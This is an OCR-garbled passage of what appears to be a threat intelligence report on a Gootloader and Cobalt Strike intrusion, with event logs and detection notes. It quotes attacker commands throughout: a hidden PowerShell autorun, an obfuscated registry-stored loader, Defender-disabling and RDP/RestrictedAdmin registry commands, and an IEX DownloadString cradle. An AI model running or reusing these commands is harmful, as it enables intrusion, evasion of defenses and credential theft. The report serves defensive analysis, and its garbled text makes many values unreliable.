persistence for this script by using an autorun key named ‘socks_powershell’
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TargetObject: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run}socks_powershell
Details: Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "C:\Users \ﬁppData\Roarring

Privilege Escalation

The use of the Cobalt Strike ‘getsystem’ command was evident, with cmd being spawned
from the beacon (DLLHOST) to elevate to a ‘SYSTEM’ context.

Parentimage r Image = r CommandLine %
C:\Windows\System32\dllhost exe C:\Windows\System32\cmd. exe C:\Windowshsystem32\omd_exe fc echo f7@92alabée > \\.\pipe\2cf@7s
C:\Windows\System32\dllhost.exe C:\Windows'System32\cmd. exe C:\Windows\system32\cmd.exe fc echo bedb3dZeBca > \\.\pipe\dfcc3s

Details of the technique are documented here: https://www.cobaltstrike.com/blog/what-

Throughout the intrusion, new logon sessions were initiated using tokens created from
harvested credentials. Initially, a sacrificial process, dllhost.exe, was launched from the
PowerShell payload using the credentials of the compromised beachhead account.

CommandLine: C:\Windowg\sysnative\dllhost.exe
CurrentDirectory: C:\Users

user:
LogonGuigemtddodldaf-706d-63c8-bf77-220000000000}
LogonId:j@x22778F

TerminalSessionId: 2

Integritylevel: High

Hashes: SHA1=2CE12A317BEBF8293F3544433A55D0972A5967996,MD5=08EBT8ESBEQ19DF044C26814703BD1FA, SHA256=E
ParentProcessGuid: {995d7daf-925b-63dc-8306-000000000300}

ParentProcessId: 5828

ParentImage: C:\Windows\SyswWOW64\WindowsPowerShell\v1.0\power
ParentCommandLine: "C:\Windows\SysWOwW64\WindowsPowerShell\v1.§\powershell.exe" /enco NEAwADKAMEAZ2A
Using a harvested credential, a new logon session was created. This was logged under

Windows eventlD 4624, showing the initial Logon ID, and followed the new Logon ID using
the target user account.
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EventCode=4624

SourceName=Microsoft Windows security auditing.

Type=Information
RecordMumber=56215
Keywords=Audit Success
TaskCategory=Logon

OpCode=Info

Message=An account was successfully logged on.

Subject:

g

Account Domaln:

Logon ID:

Logon Information:
Logon Type.:
Restricted Admin Mode:
Virtual Account:

Elevated Token:

Impersonation Level:

New Logon:
Security ID:
Account Name:
Account Domain:
Logon ID:
Linked Logon ID:
Network Account MName:
Network Account Domalin:

Logon GUID:

Process Information:
Process ID:

Process Name:

Impersonation

Beachhead User

@x17F2773

Targeted User

@x1cic
C:\Windows\System32\svchost.exe

{UOUUEUu0-0000-Uou0-obuo-uiuouuoueena
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The newly created logon session (Logon ID) was assigned special privileges (elevated) as
detailed in eventlD 4672.

LogName=2e
EventCoge
EventType=u
conputernane-J
SourceName=Microsoft Windows security auditing.
Type=Information

RecordNumber=56217

Keywords=Audit Success

TaskCategory=Special Logon

OpCode=Info

Message=Special privileges assigned to new logon.

Subject:
Security ID:
Account Name:

Beachhead User

Account Domain:
Logon ID: Ox17F2773

Privileges: FeSecurityPrivilege

KeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
FeSystemEnvironmentPrivilege
SelmpersonatePrivilege

SeDelegateSessionUserImpersonatePrivilege

Resulting in the CMD with the new logon session with elevated privileges
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LogName=
EventCodd
EventType®™¢

4688

SourceName=Microsoft Windows security auditing.
Type=Information
Recordiumber=56218
Keywords=Audit Success

TaskCategory=Process Creation

OpCode=Info
Message=A new process has been created.

Creator Subject:

Security ID:
Account Name:
Account Domain:
Logon ID:

Target Subject:

Process

The threat actor targeted several accounts using the same technique, these were:

05:
05:
05:
05:
85:
05:

05:

17

124

108

124

Security ID:
Account Name:
Account Domain:
Logon ID:

Information:
Mew Process ID:
New Process Name:

Token Elevation Type:

Mandatory Label:
Creator Process ID:

Creator Process Name:
Process Command Line:

EventCode =

Beachhead User

@x17F2773
@xaic
C:\Windows\System32\cmd, exe
%%1936

S-1-16-12288
@x1f8c

:\Win
:\Windows\system32\cmd.exe /c echo SedéidZebca > \\.\pipe\4fcci9

dows\System32\dllhost.exe

F4 ComputerName = F g Account_Name =
4672 Beachhead User | Endpoint
4672
Lateral Movement [2" Endpoint & User]
4672
nd i
4672 Ié:;\(t;;_alizlmovement [2™ Endpoint & SYSTEM
4672
4672 Lateral Movement [DC & Privileged User]
4672

Logon_ID =

Bx17F2773

0x11123B2

8x1112964

0x11198BE

Bx166458B

0x1664735

0x1664930
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The threat actor pivoted across compromised accounts and across several endpoints with
relative ease.

Multiple detection opportunities exist, including correlating atypical logons to high-privilege
accounts from unexpected accounts or workstations, and the assignment of special
privileges to a logon ID by standard users. The use of ‘Logon type 9’ alongside an
authentication type of ‘seclogo’ strongly indicates credential use, akin to the ‘runas’
command’s /netonly method, as used by Cobalt Strike’s ‘pass the hash’ technique.
(https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials).

Defense Evasion

On the beachhead host, to avoid dropping files to disk, several registry keys were created to
store the payloads under:

HCKU\Software\Microsoft\Personalization

l Personalization
| chKSthjQENFy
|| geRBAXTDCKN
o Settings

Phone

Each key has an associated payload (stage 1 and 2). These keys stored the data for the
Cobalt Strike beacon executed on the beachhead.

geRBAdJXTDCKkN
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Value Type Data

3_'_'] o] REG_SZ 4d 5290000 300000004000000ffFf0000b2000000000000004000000000000000000000000000000000000000000000000. ..
3['] 1 REG_5Z 15fe0116fe01130811082d03002b380617580a0712027b350000046ed00300000228 21000005 28 2600000a065a6a586d. ..,
gﬂ 2 REG_57 1308110832 10000000000 27c640000047b4600000413041 10416fe0316fe0 113058 11083a9a00000000 120307120270 1. ..
gﬂ 3 REG_57 50064d00060058064d000600 1b024a00060069064a000600 Fe064a00060082064d0006000b024d000600a3064a00060. ..
3_'_'] 4 REG_SZ 4164647265737300436f 70795360560 374090f0e 7300263746 720043680 1720 16374057209 7374090 37300 54656d0544. .,
g‘_ﬂ 5 REG_SZ 747472696 27574650053 747 269626 70053756 273747209026 700436f0e 766 572740054642 79 746 5006 7o 5 745400508, .
g[ﬂ -] REG_5Z 43756cT47572653d6e6 57574726 160202050756 260696 34b6 579546 f6be 560 3d6 237376 1356335363139333465303835. ..
cbkSBtbjQBNFy

Value Type Data

g_l_l] 0 REG_SZ yduasqvtgqvyggffffigvbpgaqgvvygaqggggqaqgggggaaqagggagvvpgguvewtbavevvbyvscdrwbpywyccdrwuyipisotrvovari. ..
gﬂ 1 REG_SZ yyryvpvtggooyyryvyggpvoovyryovobwvidfwuvvewyvidpsciptecwctwovptfb floyyupufioeropdyueycoyyrywgggpsyyryve..
3_'_'] 2 REG_SZ oywapsayryvepsuyryvppbuvvppsuyryvypbywwypswyryfidtptecwvptoovwibtdopotvwidoccspdiufyubueufudctsww fbiwtps. .
3}_'] 3 REG_SZ oywupdsvpggvpsytvypsutvpebprbpffiffffebsscovyryvpgoeppdggptopffebppucuiutptecwvcavyryvpggpbocryrvepoagq. ..
gﬂ 4 REG_SZ uisictvoateucycfirdiouchiubty fosyabtrpwrydfeyooraobttbpfevewsywfyefaibvtaibesdooiubrrupswwewpyycaiytddooyodiv. ..
g_l_l] 5 REG_SZ rfcewpcreiveefrarutctfoobviesyypauvcavvipdroefvsaecuecpferdutpouaardfyvdwsrosyriesre foviaieusdwusuviorufiubwy. .
g[ﬂ 3 REG_SZ aocdrbfdbtuubiyvebiytebooayrovoowrttadufdusburcsssucorbrfieeucyyouvwwetver frauvdpfftydcoptyauwcovycaisuoduusut. ..
3_'_'] 7 REG_S5Z rurawfuwfvbracyceadrbeaooaycyyordteecvipreupyycaiswctceyeucyfraicrrbvr fubrydvsurreseyvaieuy fsy feswaru fuivdid. ..
gl_l] 3 REG_SZ usdtoborayfuywpcdrpioduyfrippwavfisvdyoobirrpwavaodrbvriwavtoyeaidrbfdbtawbyyebiyteboibbwadwrodocy tbpaiisy. .
gﬂ 9 REG_SZ vurypwrreucyyccesafevvbiborcorbfoorbpsuibesdesuvbryvuwrbawevupcrdobeaefowcuycovoaefevvbiiccredcawtrswrr fat. ..
3_'_'] 10 REG_SZ drbeacfcfoyycffoprbrraieuyfbyfrswetuepdeucycooesvocpbfbwdrowepdeirbfddtesydvsuatsuevarbavrowoyeowwvraiiv. .
g['] 11 REG_SZ siopfddtfuvtvsoicoravraiicbwacr fotcfpbdttsrowaddrbpwirfuywpcdtceopeavuptoyyoydfyywiusfvyvtdaydiavyouriepsavf...

by - [N — N ' R . P e N . - . - ' . . - . e "o

Execution of the payload to run the Cobalt Strike beacon can be observed by base64
encoded PowerShell commands

|609265940; sleep -s

(20);60213434;$sxd="h"+""+"kc"+""+"u:\so"+""+"Fiw"+""+"are\mi"+""+"cro"+""+"sof t\Per"+""+"s0"+""+"nal"+" "+"izati"

+""+"on\geRBAdXTDCKN" ; StGSWK=gp -path $sxd;fTor ($LGSWKgJA=0;3LGSWKgJA -le 705;$LGSWKgjA++)
{Try{$OHhNP+=$LGSWK . $tGSWKgjA}Catch{}}; $tGSWKgjA=0;while ($true) {StGSWKgjA++; Sko=[math]:: ("s"+""+"qr"+""+"t")
(BLGSWKgjA);1if($ko -eq 1000){break}}SCVaw=30HhnP.replace("#",$ko);$1Sfdm=[byte[]]::("n"+""+"e"+""+"y")
(BCvaW.Length/2);for ($tGSWKgjA=0; $TGSWKgJA -1t $CVaW.Length; $tGSWKgjA+=2){S1STdm[$tGSWKgjA/2]=[convert]::
("T"+""+"oBy"+""+"te" ) ($CVaW.Substring ($tGSWKgjA, 2), (2*8) )} [reflection.assembly]: : ("L"+""+"0"+""+"ad" ) ($15fdm);
[Open]::("T"+""+"es"+""+"t")();B809902482;

During the intrusion we observed activity related to Windows Defender tampering. This
command was executed remotely on the hosts using Cobalt Strike modules such as
psexec_psh. Scheduled scanning tasks were deleted, and a service was created to disable
real-time monitoring.

Event 7045, Service Control Manager

General  Details

A service was installed in the system.

Service Mame: c3b387h

Service File Mame: powershell.exe -nop -w hidden -c Set-MpPreference -DisableRealtimeMonitoring Strue
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystemn
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Scheduled task commands

schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f

schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /¥
Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableArchiveScanning $true

Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScanningNetworkFiles $true
Set-MpPreference -MAPSReporting

Set-MpPreference -DisableCatchupFullScan $True

Remote Desktop

Restricted Admin Mode was enabled by modifying the DisableRestrictedAdmin key to 0

CommandLine: reg add "hklm\system\currentcontrolset\controlilsa" /f /v DisableRestrictedAdmin /t REG_DWORD /d @

Enabling Restricted Admin Mode allows the attacker to use collected hashes to login instead
of a password. An explanation can be found here
[https://github.com/GhostPack/RestrictedAdmin]. The same technique was observed by SVR
and various other threat actors.

The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210].
It modified Registry using the following reg command:

* regadd HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v
DisableRestrictedAdmin /t REG_DWORD /d "0" /f

The same technique was also observed in a previous Gootloader case as well as two other
public cases.

The second registry modification allowed RDP connections by changing the
‘DenyTSConnections’ setting.

CommandLine: reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d @

Windows Firewall

On the domain controller, ‘Netsh’ was used to enable the remote desktop firewall profile

CommandLine: netsh firewall set service remotedesktop enable

followed by the remote admin firewall profile
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CommandLine: netsh firewall set service remoteadmin enable

Process Injection

We observed process injection activity, with PowerShell and dllhost being utilized to load
Cobalt Strike beacons into the memory on the beachhead host.

event.action v process.executable v winlog.event_data.Targetimage
CreateRemoteThread detected C:\Windows\SysWOW64\WindowsPowerShell\v  <unknown process>

(rule: CreateRemoteThread) 1.08\powershell.exe

CreateRemoteThread detected C:\Windows\SysWOW64\WindowsPowerShell\v  C:\Windows\System32\dllhost.exe
(rule: CreateRemoteThread) 1.08\powershell.exe
event.action v process.executable v winlog.event_data.Targetimage
CreateRemoteThread detected (rule: C:\Windows\SysWOW64\rund1132.exe C:\Windows\System32\dllhost.exe
CreateRemoteThread)
CreateRemoteThread detected (rule: C:\Windows\SysWOW64\dllhost.exe C:\Windows\System32\dllhost.exe
CreateRemoteThread)

CreateRemoteThread detected (rule: C:\Windows\SysWOW64\d1llhost.exe <unknown process>
CreateRemoteThread)

This can be observed in the memory dump from the beachhead host with the tell-tale
PAGE_EXECUTE_READWRITE protection settings on the memory space and MZ headers
observable in the process memory space.

powershell.exe| Oxac60000 Oxbod1ifff PAGE_EXECUTE_READWRITE | 1138 ] Disabled

00| MZRE....

00 00 5b 89 df 55 89 e5 81 c¢3 b8 80 00 00 ff d3 68 fO
00 00 00 0O 0O 00 OO GO OO OO 0O A0 OO 6O 0O fO 0O 00

powershell.exe ©0x169856d0000 0x169856dffff Vads PAGE_EXECUTE_READWRITE 2 a, Disabled

During the intrusion, we observed multiple named pipes utilized by the threat actor’s Cobalt
Strike injected beacons via PowerShell and dllhost:
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Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {995d7daf-925b-63dc-8306
-000000000300 }

ProcessId: 5828

PipeName: \netsvc\1324

Image: C:\Windows\SysWOW64\WindowsPow
erShell\v1.0\powershell.exe

User:
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Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {995d7daf-925b-63dc-8306
-000000000300 }

ProcessId: 5828

PipeName: \4fcc39

Image: C:\Windows\SysWOW64\WindowsPow
erShell\v1.0\powershell.exe

User:

PipeName: \4fcc39
PipeName: \netsvc\1324

Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {6c33b5b1-9816-63dc-3806-000000
0003600}

ProcessId: 1232

PipeName: \2cf079

Image: C:\Windows\SysWOW64\dllhost.exe
User: NT AUTHORITY\SYSTEM
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Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {6c33b5b1-9802-63dc-3606-000000
000360}

ProcessId: 3384

PipeName: \netsvc\415

Image: \ADMINS\5d78365.exe
User: NT AUTHORITY\SYSTEM

PipeName: \4fcc39
PipeName: \netsvc\415

Credential Access

Across the compromised endpoints where a Cobalt Strike beacon was deployed, the LSASS
process was accessed to retrieve in memory credentials.

Sourcelmage 3 7 Targetimage 3 # GrantedAccess 3~  CallTrace

Suspicious CallTrace with ‘UNKNOWN’ indicates injected code, whilst the Granted Access
0x1010 is a standard behavior from credential stealing tools such as mimikatz. The code
0x1010 can be broken down to the below access rights:

e 0x00000010 = VMRead
e 0x00001000 = QueryLimitedinfo

The operator spent some time accessing and viewing files. File that were of the most interest
were those that could indicate credentials storage. In this intrusion ‘Notepad’ was used to
view a file within a Passwords file share location.

rc:windows\systen32\worepaD. xe” \\| N I 1+ 2ssvords\ [ -
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Discovery

Gootloader

Before hands on keyboard activity, Gootloader ran a number of PowerShell Cmdlets to
collect basic host information.

. goot-excerpt.ps1 X

1
2 EIWEL({dir env: where {
3 %_.value.Length -1t 100
4 = TlE
3 (5_.name + "A" + f__wvalue)
G 3+ ("OSWMIAT + (Get-WmiObject Win3Z_OperatingSystem).caption));
7 = SLwKcfROF = IWkL(gps sls -unigque | % {
] %_.name
g )
10 [ ImESCt = IWtL (gps where {
11 f_.mainwindowtitle
12 Tls{
13 f_.nmame + "AY + I__mainwindowtitle
14 ok
15 = SELOAVET = IWtL({((new-object-com shell.application).Namespace(0)).Items{) | % {
i6 = it (5_.IsLink) {
7 "0" + %_.Name
18 1
19 [ glseif(i_.IsFolder) {
20 "1" + &_.Name
21 1
22 = elseif(i_.IsFileSystem) {
23 "2" + [I0.Path]::GetFileMame(i_.Path)
24 = T else {
25 "3" + 5_.Name
26
7 I
28
29 [ gdr where {
30 %_.free -gt 50000
31 E Tlow
32 $f_.name + "A" + $_.used
33 1

The first section collected environmental data from the host using env:

P5 C:\Users) > dir env: | where { " I
$_.value.Length -1t 100 o e P
1
H 1
2 SIWLL((dir envi | where

Name 3 $_.value.Length -1t 100
4 ARK
_NT_SYMBOL_PATH s (5_.name + "A" + §_.value)
ALLUSERSPROFILE 6 1) + ("OSWMIA" + (Get-wmiObject Win32_OperatingSystem).caption});
APPDATA ] 7 B SLVKCFROF = IWtl(gps | s1s -unique | % {
ChocolateyTInstall 3 5_.name
Chocolateyl astPathUpdate 9 i

Next the host operating system using Get-WmiObject:

PS5 C:\Users > Get-WmiObject Win32_OperatingSystem R ——
1
SystemDirectory : C:\Windows\system32 2 CTWEL((dir env: | where {
Organization 3 $_.value.Length -1t 100
Bu 1dNumber : 19041 4 Prs{
RegisteredUser : user 5 (5_.name + "A" + §_.value)
serialNumber : 00330-80000-00000-AA381 6 1 + ("oswMIA" + (Get-WmiObject Win32 Operatingsysten).caption));
Version : 10.0.19041 7 SLvKcFROF = IwtL(gps | s1s -unique | % {
s $_.name
a i

Followed by running processes with a filter for maintitlewindow using Get-Process.
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No filter:

P5

Handles NPM(K} ProcessName
382 0. 5 ApplicationFrameHost
176 6 6 binsvr
138 9 5 606 browser_broker
169 9 6 32 csrss
367 7 csrss
422

129

t
d1Thost
874 dwm
7 explorer
39 2 fontdrvhost

> gps | where {
ma1nwindowtitle
name + A" + §_.mainwindowtitle
1
Appli cationFrame Wicrosoft Store
MicrosoftEdgesM soft Edge
Mic FtEdgeCPAMi crosoft Edge
nt Viewer
powershell_iseAWindows PowerShell ISE
TextInputHostMMicrosoft Text Input Application
WinStore. AppAMicry

PS C:\Users\ > |

PS5 C:\Users" > gdr | where {
$_.free -gt 50000

Used {GB) Free (GB) Provider

PS5 C:\Users"

RDP Port Discovery

goot-excerptps X

1

2 EIWtL((dir env: where {

3 5_.value.Length -1t 100

L= Plw g

5 (5_.name + $_.value)

& 1} + ("OSWMIA" + (Get-WmiObject Win32_OperatingSystem).caption));
7= SLvKCFROF = IwtL(gps | s1s -unique | % {
8 5_.name

9 1

10 = SmESCt = IWtL(gps where {

1 5_.mainwindowtitle

12 & .1

13 $_.name + "A" + $_.mainwindowtitle

14 i

goot-excerptps] X

1

2 DIWEL((dir env: where {

3 $_.value.Length -1t 100

4B % {

5 (5_.name + "A" = §_.value)

6 1) + ("0SWMIA" + (Get-WmiObject Win32_OperatingSystem).caption));
7 G SLvKCFROF = IwtL(agps | sls -unique | % {
8 $_.name

9 1

10 E $mESCt = Iwtl(gps | where {

11 $_.mainwindowtitle

12 & T

13 $_.name + "A" + §_.mainwindowtitle
14 T

goot-excerptpsl X

2 EIWtL((dir env: where {
CurrentLocati 3 5_.value.Length -1t 100

4 = Pl d

5 (5_.name + "A" + $_.value

6 1)+ ("OSWMIA" + (Get-Wmidbje

7 E SLvKcfROF = IWtL(gps s1s -1

8 i_.name

9 1

10 [ EmESCt = IWtL(gps where {

11 S_.mainwindowtitle

12 B s

13 S_.name + "M+ 3_.mainwi

4 b

15 = FELOAVET = IWtL{((new-object-

16 E if (5_.IsLink) {

17 "0" + 5_.Name

18 1

19 = elseif(3_.IsFolder) {

20 "1" + 5_.Name

21 1

22 [ elseif(i_.IsFileSystem) {

23 "2" + [I0.Path]::GetF

24 [ T else {

25 "3" + 5_.Name

26

27 b H

28

29 [ gdr | where {

30 5_.free -gt 50000

31 E Il %{

32 5_.name + "A" + % used

33 H

24

Advanced IP Scanner (https://www.advanced-ip-scanner.com/) was executed from a

compromised account and then used to look for systems with RDP (3389) open.
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LDAP

The DLLHost process (Cobalt Strike beacon) undertook several LDAP (Lightweight Directory
Access Protocol) queries using port 389 and 3268.
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t process.executable

C:\Windows\System32\dllhost.
C:\Windows\System32\dllhost.
C:\Windows\System32\dllhost.
C:\Windows\System32\dllhost.
C:\Windows\System32\dllhost.
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Shares Enumeration

Scanning all the network endpoints for the presence of shared folders was undertaken. This
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is a common technique we’ve observed in other similar cases to discover and collect
information of interest, i.e., credentials and confidential information.
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t process.executable v # proce... v t source.ip v t destination.ip v | # destination... v
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
C:\Windows\System32\dllhost.exe 6628 445
Ping

The DLLHost (Cobalt Strike beacon) conducted several ping sweeps across endpoints using
the ‘ping’ command:

Creator_Process_Name 2 F Process_Command_Line =
Windows'SysWWE4\dl1lhost .exe
Windows\SysWOWE4\dl1host . exe

Windows\SysWOWgd\dllhost .exe
Windows\SysWOWe4\dllhost .exe

i

Windows\SysWOWed\dl1lhost .exe
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The use of the ping command had several unusual indicators. The command was executed
from a SYSTEM account, and a conhost process was created with no attached console

session [https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-

wtsgetactiveconsolesessionid#return-value]

Creator

Subject:
Security ID:
Account Mame:
Account Domaln:
Logon ID:

Target Subject:

Process

Security ID:
Account Mame:
Account Domain:
Logon ID:

Information:

Mew Process ID:

Mew Process Name:
Token Elevation Type:
Mandatory Label:
Creator Process ID:
Creator Process Name:
Process Command Line:

SYSTEM
NT AUTHORITY

C:\Windows\System32\conhost.exe
%%1936
S-1-16-16384

=Force¥1

Multiple executions of ‘ping’ using these indicators:

Account_Name £

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

AD Groups

Creator_Process_Name *

C:\Windows\SysWOWGE4\PING.EXE

C:\Windows\SysWOWG64\PING.EXE

C:\Windows\SysWOW64\PING.EXE

C:\Windows\SysWOW64\PING.EXE

C:\Windows\SysWOWG4\PING.EXE

C:\Windows\SysWOWE4\PING.EXE

Fd Process_Command_Line &

VINC:\Windows\system32\conhost.

VINC: \Windows\system32\conhost.

VIC:\Windows\system32\conhost.

\IINC: \Windows\system32\conhost.

VIINC: \Windows\system32\conhost.

VIINC: \Windows\system32\conhost.

-

Bxffffffff -ForceVl

exfFffffff -Forcevl

@xffffffff -Forcevil

exfFffffff -Forcevl

axfrffffff -ForceVyl

exfFffffff -ForceVl

The threat actor enumerated the “Remote Management Users”, “Remote Desktop Users”,
“Local Administrators” and “Distributed COM Users” groups.
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A security-enabled local group membership was enumerated.

Subject:
Security ID: 5-1-5-21-
Account Name:
Account Domain:

Logon ID: Ox10F2042
Group:
Security ID: 5-1-5-32-544
Group Name: Administrators
Group Domain: Builtin
o e e
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[Request in frame: 236]
~ Pointer to sids {lsa_sidarray)
~ SID array:
Count: 4
~ PSID_ARRAY
Referent ID: OxBE24E02082028000
Max Count: 4
v SID poimter:
~ SID polnter
Referent ID: oxE022202080028008
Count: 5
v| Domain SID: 5-1-5-21- -ce@ (Domain SID-Administratﬂr‘}I
Hevision: I
Hum Auth: S
Authority: &
Subauthorities: 21- -S88
IRID: 588 {Administratnr}l
~ SID poimter:
~ SID polnter
Referent ID: oxBefeceSE80020000
HNDR-Padding: 088882288
Count: S
~| Domain SID: 5-1-5-21- 1-512 (Domain SID-Domain Admins)|
FEvision: 1
Num Auth: 5
Authority: &

itie=: 1-512
RID: 512 ({Domain Admins}l

~ SID pointer:
~ SID poimter
Referent ID: OxBE24E02082028000
NDR-Padding: o0oeocaaa
fogunt. o
erDumain 5ID: 5-1-5-21- -18a88 (Domain SID-Domain RID)I
Revision: 1
Num Auth: 5
Authority: S
jtjez. 29 [ 0
RID: 1e@a (Domain HlUjI
~ SID poimter:
w SID pointer
Referent ID: GxE022202080020008
HDR-FPadding: ocegasassd
Count: 5
~ |pomain s1D: S-1-5-21- -513  (Domain SID-Domain Users)|
Fevisich: 1
Hum Auth: S
Authority: &
Subauthorities: 21- -513

RID: 512 (Domain Users)

E

NT Error: STATUS_SWK

PowerSploit

PowerView Cmdlets as part of PowerSploit were observed being used to discover the
domain configuration. Observed Cmdlets included Get-DomainFileServer and Get-
DomainSearcher. This was passed as a base64 encoded value, from a user context of
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SYSTEM. The Base64 value SQB is a common indicator of the IEX keyword, often used for
downloading of files.

The command:

CommandLine: powershell -nop -exec bypass -EncodedCommand SQBFAFEAIAADAE4AZQB3ACOATWB1AGOAZQBjAHQALABOAGUAdAAUAFCAZQBIAGMADABPAGUAbEBRACKAL EBEAGEADWBUAGWADWBhAGD
AUWBBAHIAZQBUAGCAKAANAGEAJABBAHAADEAVACSAMOAY ADCAL EAWACAAMAAUADEAOEAXADTAMEAXADAAL WANACKAOWAEAE CAZQBOACBARABYAGBAYQBPAGAAREBPAGWAZQBTAGUACEB ZAGUACEA=
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

Decoded as:

IEX (New-Object Net.wWebclient).DownloadString('http://127.0.0.1:12210/"); Get-
DomainFileServer

The use of a loop back IP address [127.0.0.1] indicated that the script was delivered through
its own implant [dIlhost]. Details of the command use here.

Invocation of Get-DomainSearcher function as a part of the Get-DomainFileServer
execution:

CommandInvocation(Write-Verbese): "Write-Verbose”
ParameterBinding(Write-Verbose): name="Message"; value="|[Get-DomainSearcher]| search ba
se: LDAP:// /DG ,DC '

Context
Severity = Informational
st WName = ConsoleHost
Ver n = 5.7.719847.986
ID = Ba48e59d-ch32-48b2-aaf3-e8d699686b56
uppll-aTlnn = pnmur hell —ncp -exec hvpa_; -EncodedCommand LIJEF}-Fg IAACAE

AnACKAOWAQAECAZOBBACBARA BuH1nnfOEp”G4 Fnghbhﬂ:UBTnhU&CquAHU”CqA=
Engine Version = 5.7.19841.986
Runspace ID = ?ffﬁ¢i..—
Pipeline ID
Command Mame = Write-Verbose

Command Type = Cmdlet
Script Name =
Command Path =

Connected User =
Shell ID = Microsoft.PowerShell

Lateral Movement
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Cobalt Strike beacons were deployed across several endpoints using remote service

creation. Services were either created based on Powershell base64 encoded payloads or as

a dropper executable.

Event 7045, Service Control Manager

General  Details

A service was installed in the system.

Service Mame: abfdebd

Service File Mame: %COMSPEC: /b fc start /b /min powershell -nop -w hidden -encodedcommand

JABzADDATgBIAHCALOBPAGIAagBlAGMAAAGAEKA TWAUAEDAZ OBtAGEACgBSAFMADABYAGUAYOBAC Y
yAHOAXCAGADoARgEyAGEABOBCAGEACWEBIADYANABTAHOACgBpAGAAZ wACACIASAADAHMASCOBEBAEE
LADEAVWBIAFgAUABhAEBACgBEACSASABIADYARgBOAGDAVABHADKARABRAGEAZ WBUAFEATgB2AGMAL

Cobalt Strike beacon PowerShell payloads have recognizable indicators, including random
service name, use of COMPSPEC, and PowerShell parameters. The Base64 encoding
starting with JAB is a common indicator of variables being used.

Compiled Cobalt Strike beacons were dropped onto Domain Controllers

Event /043, Sennice Control Manager

General Details

A service was installed in the system.

Service Name: adalead
Service File Name: VADMINS adalead exe
Service Type: user mode service

Service Start Type: demand start
Service Account: LocalSystem

This particular beacon was detected by the host AV [Windows Defender eventID 1117] and
removed.

Threat Name Trojan:Win32/WacatacH'ml

Severity ID 5
Severity Name Severe
Category ID 8

Category Name Trojan

Cobalt Strike beacons distributed with SMB admin shares

The diagram below shows the distribution of Cobalt Strike beacons to hosts in the
environment over SMB admin shares.
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In this intrusion, the “reg add” command was executed remotely through WMI to attempt to
permit RDP connections by changing the “DenyTSConnections” key to false (0), as shown
with the network traffic capture below.

reg add "HKLM\SYSTEM\CurrrentControlSet\Control\Terminal Server" /f /v
fDenyTSConnections /t REG_DWORD /d ©
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........................... L...[WMI[Win32 ProcessStartup] .MappingStrings.

l cesnvassseansaZennnnnanneans._ PARAMETERS..reg add "hklm\system\currentcontrolsethcontrol:
},er‘ver" /f #v fDenyTSConnections ft REG DWORD /d @...... . ...Win32 MethodParameterClass..... T B L T Y
........ Tooooooocoocooodidooreoooocooood booneenoocc00000000aanndice hioonoooaonoticeoo0000 oo adL L ocoaeooo0000000000500500000000000058055000C00000000068
.. .Win32_ProcessStartup. .Abstract..Locale. .UUID. .{8582C4DB-5FBB-11D02-AAC1-B86ERECTEBCT}. .CreateFlags......vvvvnnaas B...

................................................ uint32. .MappingStrings..........Win324PI|Process and Thread Functions|CreateProcess|dwCreationFlags..BitMap...

The threat actor again executed a command to modify the registry key to enable Restricted
Admin mode remotely via WMI. This activity was captured via Windows eventID 4688.

Level Date and Time Source Event.. Task Category

Iﬁ)lnformation Microsoft Windows security auditing. 4688 Process Creation
':Dlnformation Microsoft Windows security auditing. 4688 Process Creation
'ii:'lnformation Microsoft Windows security auditing. 4688 Process Creation
(Dlnformation Microsoft Windows security auditing. 4688 Process Creation
®Information Microsoft Windows security auditing. 4688 Process Creation
':Dlnformation Microsoft Windows security auditing. 4688 Process Creation
'ii:'lnformation Microsoft Windows security auditing. 4688 Process Creation

Event 4688, Microsoft Windows security auditing.

General Details

© Friendly View () XML View

+ System
- EventData
SubjectUserSid S-1-5-20
SubjectUserName
SubjectDomainName
SubjectLogonid 0x3e4
NewProcessld 0xa78
NewProcessName C:\Windows\System32\reg.exe
TokenElevationType %%1936
Processid Oxcdc
CommandLine l’eg add "hklm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0 I
TargetUserSid  S-1-0-0
TargetUserName
TargetDomainName:
